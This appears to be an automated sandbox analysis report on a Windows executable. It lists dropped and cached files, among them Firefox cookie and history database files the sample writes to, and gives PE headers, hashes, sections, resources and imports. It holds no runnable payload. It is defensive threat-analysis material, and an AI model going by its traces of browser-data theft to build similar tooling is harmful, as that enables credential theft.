Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468550477685901
Encrypted:	false
SSDEEP:	6144:PzZfpi6ceLPx9skLmb0fNZWSP3aJG8nAgeiJRMMhA2zX4WABluuNijDH5S:bZHtNZWOKnMM6bFp8j4
MD5:	0EABC461AF18B8B9A883EE121AC4BB49
SHA1:	59E2BF8FF9A7B739E5980199AFFC3594FD768EDA
SHA-256:	56C4A537B1B4F7885BEFAC78DA5A79935927FFD900495A3A81B501A0B5286549
SHA-512:	68FC530A46AE3028E567FCEF16CCD5028FFD3B10922CE9B4EE6C4A1C2E403BC14F44C6A9BC2918CB60B0F16BF327C18C9AA57D7BFA0EC8BE7D79F5E8C54380E3
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..L.11..............................................................................................................................................................................................................................................................................................................................................ANZ.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (778)
Category:	downloaded
Size (bytes):	783
Entropy (8bit):	5.149641787819815
Encrypted:	false
SSDEEP:	24:P9T6ABxUzEanPBHslgT9lCuABurI7HHHHHHHYqmffffffo:1TzuEanPKlgZ01Bu8Eqmffffffo
MD5:	CDDFFD1BF06E84A36B327B88167CB3FF
SHA1:	A9EF655AFE5017B657F5EAC2A8BB080656AD5146
SHA-256:	A3CA3224E513D6B6A15E5AC846F460AC637DFD1004D2CCA5A3DD53767C8766C9
SHA-512:	E916A88545482253CB3173582544D17B2016398FDB42DD6BF32604A8FA8E4F266606C49F6FE656064EC8B852794F8819C63B10AF1F20C1B364F3B0AF196F0CE7
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["matt choi nyc marathon","power outages new mexico","nintendo switch 2 backwards compatible","chicago pd season 12","super micro computer stock","aurora borealis forecast","buffalo bills keon coleman injury","sports betting"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1256,1255,1254,1253,1252,1251,1250,900],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133690
Entropy (8bit):	5.432851787201666
Encrypted:	false
SSDEEP:	1536:i7C/VNga7Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlguCFlOve2dzAcJ82O:f/7vhSJjxeX431PBLx8OF9jcYsci2i6o
MD5:	B5DD92EE1F2A2273DC6124E3C2608B47
SHA1:	FA3F7799A484F1E151C8F4B76209BBB0600772CF
SHA-256:	C0D4963EC1C44601C9E494A2B6DA9D2DAEFA2C00AFD6640493410771F40A775C
SHA-512:	C627657EA45AFBF87768923EDC69085385D5D7B0411838AE6B753F6A1E8A76A5FB0F15422452349B70BDFB9F6A9C362B38CD1D2B2D3D3030766BED0F713DBF28
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.439256615198483
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	vMRlWtVCEN.exe
File size:	683'008 bytes
MD5:	1c49165308a01047a7991781aa319842
SHA1:	a3958d1eede02192d83e0a0b9abaafc4e9ee00b2
SHA256:	6c22ef093091ac0f66d3cccf5f29ab2e32abc63f816d430972a6b2e1c2dcca32
SHA512:	c00c6b4c1f97a2033a09c7312924d61bb019d4a1f97d4d528e68afb1dd66b9cf04efed5ed5968e9647b6f8eb0a74b2727857ae60c4a053f913b3fa7ceb3f4aca
SSDEEP:	12288:/yahXlPtE+K/JtlfUcpZ7VmnWooNI89tR4QZ7iK7M7DfE:PKJt6cPSutHoKwff
TLSH:	99E4EFC272F1AC01F6F75AF15E39D6A8262FF9724E26925932064B1F3B311A1C662743
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v..q2f."2f."2f.",4!".f.",40"&f.",4&"^f."..."5f."2f."Af.",4/"3f.",41"3f.",44"3f."Rich2f."........PE..L......d...................

File Icon


Icon Hash:	738733b18ba38be0

Static PE Info

General

Entrypoint:	0x401ce7
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x648C1AA5 [Fri Jun 16 08:17:41 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	af4baa73ed301eec9ad176450f0f887d

Entrypoint Preview

Instruction
call 00007EFC791CD9EDh
jmp 00007EFC791C8FADh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [0048F7D0h], eax
mov dword ptr [0048F7CCh], ecx
mov dword ptr [0048F7C8h], edx
mov dword ptr [0048F7C4h], ebx
mov dword ptr [0048F7C0h], esi
mov dword ptr [0048F7BCh], edi
mov word ptr [0048F7E8h], ss
mov word ptr [0048F7DCh], cs
mov word ptr [0048F7B8h], ds
mov word ptr [0048F7B4h], es
mov word ptr [0048F7B0h], fs
mov word ptr [0048F7ACh], gs
pushfd
pop dword ptr [0048F7E0h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0048F7D4h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [0048F7D8h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0048F7E4h], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [0048F720h], 00010001h
mov eax, dword ptr [0048F7D8h]
mov dword ptr [0048F6D4h], eax
mov dword ptr [0048F6C8h], C0000409h
mov dword ptr [0048F6CCh], 00000001h
mov eax, dword ptr [0048E008h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0048E00Ch]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000D0h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8c93c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2794000	0x163e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8b000	0x194	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x893ec	0x89400	17d551e0829c1263c22a567de9d749bc	False	0.9093433373178507	data	7.789809730094134	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8b000	0x2276	0x2400	752c0d06ce033e4211fa86b92acb54f9	False	0.3573133680555556	data	5.463527458342475	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x8e000	0x27053bc	0x4c00	3ada69fd5b5d6f4457cc58c3b13aa53c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2794000	0x163e8	0x16400	2dbdd5b7a7c3f5d82b8390885d5592e5	False	0.39185393258426965	data	4.730867622687803	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x27948b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.3251599147121535
RT_ICON	0x2795758	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5063176895306859
RT_ICON	0x2796000	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.5483870967741935
RT_ICON	0x27966c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.5809248554913294
RT_ICON	0x2796c30	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.4234439834024896
RT_ICON	0x27991d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.4959016393442623
RT_ICON	0x2799b60	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.5
RT_ICON	0x279a030	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.38406183368869934
RT_ICON	0x279aed8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5388086642599278
RT_ICON	0x279b780	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6071428571428571
RT_ICON	0x279be48	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6286127167630058
RT_ICON	0x279c3b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Turkish	Turkey	0.3925891181988743
RT_ICON	0x279d458	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.38729508196721313
RT_ICON	0x279dde0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.42819148936170215
RT_ICON	0x279e2b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.2814498933901919
RT_ICON	0x279f158	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.3677797833935018
RT_ICON	0x279fa00	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.38306451612903225
RT_ICON	0x27a00c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.375
RT_ICON	0x27a0630	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.25746887966804977
RT_ICON	0x27a2bd8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Turkish	Turkey	0.275797373358349
RT_ICON	0x27a3c80	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.28975409836065574
RT_ICON	0x27a4608	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.32092198581560283
RT_DIALOG	0x27a4cb8	0x84	data			0.7651515151515151
RT_STRING	0x27a4d40	0x552	data			0.44493392070484583
RT_STRING	0x27a5298	0x472	data			0.46045694200351495
RT_STRING	0x27a5710	0x43e	data			0.43738489871086556
RT_STRING	0x27a5b50	0x5c4	data			0.43970189701897017
RT_STRING	0x27a6118	0x552	data			0.45080763582966227
RT_STRING	0x27a6670	0x5da	data			0.44659546061415223
RT_STRING	0x27a6c50	0x7a8	data			0.4204081632653061
RT_STRING	0x27a73f8	0x67e	data			0.4380264741275572
RT_STRING	0x27a7a78	0x7e2	data			0.41278493557978196
RT_STRING	0x27a8260	0x722	data			0.4244249726177437
RT_STRING	0x27a8988	0x6b2	data			0.42707117852975496
RT_STRING	0x27a9040	0x664	data			0.4315403422982885
RT_STRING	0x27a96a8	0x714	data			0.4315673289183223
RT_STRING	0x27a9dc0	0x53c	data			0.44477611940298506
RT_STRING	0x27aa300	0xe8	data			0.5258620689655172
RT_ACCELERATOR	0x27a4ae8	0x28	data			1.025
RT_GROUP_ICON	0x2799fc8	0x68	data	Turkish	Turkey	0.7115384615384616
RT_GROUP_ICON	0x27a4a70	0x76	data	Turkish	Turkey	0.6779661016949152
RT_GROUP_ICON	0x279e248	0x68	data	Turkish	Turkey	0.7115384615384616
RT_VERSION	0x27a4b10	0x1a8	data			0.589622641509434

Imports

DLL

Import

KERNEL32.dll

SetDefaultCommConfigA, GetNumaProcessorNode, MoveFileExA, GetConsoleAliasExesLengthA, CallNamedPipeA, HeapAlloc, SetUnhandledExceptionFilter, GetLogicalDriveStringsW, GlobalSize, GetTimeFormatA, GetModuleHandleW, GetTickCount, GlobalAlloc, GetLocaleInfoW, GetProcessHandleCount, GetConsoleAliasW, SetConsoleCursorPosition, GetModuleFileNameW, GetConsoleFontSize, GetACP, GetStartupInfoW, DisconnectNamedPipe, GetStringTypeExA, InterlockedExchange, GetStdHandle, ReadConsoleOutputCharacterA, GetProcAddress, VirtualAlloc, MoveFileW, BuildCommDCBW, OpenWaitableTimerA, LoadLibraryA, InterlockedExchangeAdd, GlobalHandle, GetModuleFileNameA, OpenFileMappingW, FreeEnvironmentStringsW, PurgeComm, FindAtomW, FileTimeToLocalFileTime, SetFileAttributesW, CreateFileA, MultiByteToWideChar, GetLastError, HeapReAlloc, Sleep, ExitProcess, 